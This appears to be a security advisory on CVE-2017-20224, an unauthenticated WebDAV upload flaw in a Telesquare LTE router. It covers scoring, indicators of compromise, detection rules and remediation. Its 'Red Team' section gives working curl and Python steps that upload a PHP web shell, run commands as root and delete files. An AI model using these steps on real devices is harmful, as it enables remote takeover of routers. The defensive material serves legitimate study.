CVE-2017-20224

Executive Summary

CVE-2017-20224 is a critical arbitrary file upload vulnerability affecting the Telesquare SKT LTE Router SDT-CS3B1, firmware version 1.2.0. The vulnerability stems from the device exposing WebDAV HTTP methods (PUT, DELETE, MKCOL, MOVE, COPY, PROPPATCH) to unauthenticated attackers over the network. This allows remote attackers to upload malicious executable files, delete critical system files, or manipulate server content, leading to full remote code execution (RCE) or denial of service (DoS). The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network attack vector, low attack complexity, no privileges required, and no user interaction. No official patch has been released by Telesquare, and the device is likely end-of-life. Public proof-of-concept (PoC) code exists, making this a high-priority threat for any organization still using this router.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device (Telesquare SKT LTE Router). The risk is primarily to end-users and network operators who have deployed this device in their infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file system access.
• Integrity (I): High (H) – Files can be created, modified, or deleted.
• Availability (A): High (H) – DoS via file deletion or resource exhaustion.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and full impact on confidentiality, integrity, and availability makes this a severe threat. Public exploit code further increases the risk.

Deep Dive & Mechanics

The vulnerability is rooted in the device's web server configuration, which exposes WebDAV (Web Distributed Authoring and Versioning) HTTP methods without authentication. WebDAV is an extension of HTTP that allows clients to perform remote web content authoring operations. The following methods are enabled:

• PUT: Upload a file to a specified URI.
• DELETE: Delete a file at a specified URI.
• MKCOL: Create a new directory (collection).
• MOVE: Move or rename a file/directory.
• COPY: Copy a file/directory.
• PROPPATCH: Set properties on a file/directory.

An attacker can send a simple HTTP PUT request to upload a malicious file (e.g., a PHP web shell or a binary executable) to the web root directory. If the web server is configured to execute uploaded files (e.g., PHP or CGI), the attacker can then access the uploaded file via a web browser to execute arbitrary commands on the device. Alternatively, the attacker can use DELETE to remove critical system files, causing a denial of service.

Attack Flow:

1. Reconnaissance: Scan for devices with open port 80/443 and WebDAV methods enabled.
2. Upload: Send an HTTP PUT request with a malicious payload (e.g., shell.php) to the device.
3. Execution: Access the uploaded file via HTTP to trigger code execution.
4. Persistence: Upload additional tools or backdoors.
5. Lateral Movement: Use the compromised router as a pivot point to attack internal networks.

Vulnerable vs. Patched Code

Vulnerable Configuration (SDT-CS3B1 v1.2.0): The web server (likely Apache or a lightweight embedded server) has WebDAV modules enabled and configured without authentication. Example vulnerable configuration snippet (hypothetical):

<Directory /var/www/html>
    Dav On
    AllowOverride None
    Require all granted
</Directory>

Patched Configuration (Hypothetical): A patched version would disable WebDAV entirely or require authentication:

<Directory /var/www/html>
    Dav Off
    AllowOverride None
    Require all granted
</Directory>

Or with authentication:

<Directory /var/www/html>
    Dav On
    AuthType Basic
    AuthName "Restricted"
    AuthUserFile /etc/httpd/.htpasswd
    Require valid-user
</Directory>

Since no official patch exists, the only mitigation is to disable WebDAV or replace the device.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: Telesquare SKT LTE Router SDT-CS3B1 (firmware 1.2.0)
• Attacker machine: Kali Linux or any system with curl or Burp Suite
• Network access to the router's web interface (port 80/443)

Step 1: Verify WebDAV Methods Use curl to check available HTTP methods:

curl -X OPTIONS http://<router-ip>/ -v

Look for Allow: PUT, DELETE, MKCOL, MOVE, COPY, PROPPATCH in the response headers.

Step 2: Upload a Web Shell Create a simple PHP web shell (e.g., shell.php):

<?php system($_GET['cmd']); ?>

Upload it using PUT:

curl -X PUT http://<router-ip>/shell.php -d '<?php system($_GET["cmd"]); ?>'

Step 3: Execute Commands Access the uploaded shell:

curl http://<router-ip>/shell.php?cmd=id

Expected output: uid=0(root) gid=0(root) groups=0(root)

Step 4: Denial of Service Delete a critical file (e.g., index page):

curl -X DELETE http://<router-ip>/index.html

Alternative: Using Python

import requests

url = "http://<router-ip>/"
payload = "<?php system($_GET['cmd']); ?>"
requests.put(url + "shell.php", data=payload)
print(requests.get(url + "shell.php?cmd=id").text)

Blue Team (Defensive)

Detection:

• Monitor HTTP logs for unusual PUT, DELETE, MKCOL, MOVE, COPY, PROPPATCH requests.
• Alert on requests to upload files with extensions like .php, .asp, .jsp, .cgi, .py.
• Monitor for large file uploads or repeated failed authentication attempts (though no auth is needed).

Honeypot: Deploy a honeypot mimicking the vulnerable router to capture attacker behavior.

Network Segmentation: Isolate the router in a separate VLAN with strict egress filtering.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with methods: PUT, DELETE, MKCOL, MOVE, COPY, PROPPATCH to the router's IP.
• URIs containing suspicious file extensions (.php, .asp, .jsp, .exe, .sh).
• Outbound connections from the router to unknown IPs on ports 80/443 (C2 traffic).

File System IOCs:

• Unexpected files in /var/www/html/ or /www/ (e.g., shell.php, cmd.asp).
• Modified or deleted system files (e.g., index.html, config.php).
• Presence of backdoor binaries in /tmp/ or /usr/bin/.

Log IOCs:

• Web server logs showing PUT /shell.php with 201 Created status.
• Logs showing DELETE /index.html with 204 No Content status.

Detection Engineering

YARA Rule

rule CVE_2017_20224_WebDAV_Upload {
    meta:
        description = "Detects WebDAV PUT requests to Telesquare router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2017-20224"
    strings:
        $method = "PUT" nocase
        $uri = /\/[a-zA-Z0-9_\-\.]+\.(php|asp|jsp|cgi|py|sh|exe)/ nocase
    condition:
        $method and $uri
}

Sigma Rule

title: CVE-2017-20224 WebDAV Unauthenticated File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP PUT requests to Telesquare SKT LTE Router
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-stem|endswith:
            - '.php'
            - '.asp'
            - '.jsp'
            - '.cgi'
            - '.py'
            - '.sh'
            - '.exe'
    condition: selection
falsepositives:
    - Legitimate WebDAV clients (rare)
level: critical

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2017-20224 WebDAV PUT File Upload"; flow:to_server; http.method; content:"PUT"; http.uri; content:".php"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable WebDAV: If possible, access the router's configuration interface and disable WebDAV or remove the associated modules.
2. Network Segmentation: Place the router behind a firewall that blocks inbound HTTP methods other than GET and POST.
3. Access Control: Restrict access to the router's web interface to trusted IPs only.
4. Replace Device: Since no patch is available, replace the router with a supported, patched alternative.

Long-Term Recommendations:

• Implement a vulnerability management program to identify and replace end-of-life devices.
• Use network intrusion detection systems (NIDS) with custom rules (like the Suricata rule above) to detect exploitation attempts.
• Conduct regular security audits of all network equipment.

Vendor Contact:

• Telesquare has not released a patch. Contact their support for guidance or consider legal/compliance actions if the device is still under support.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert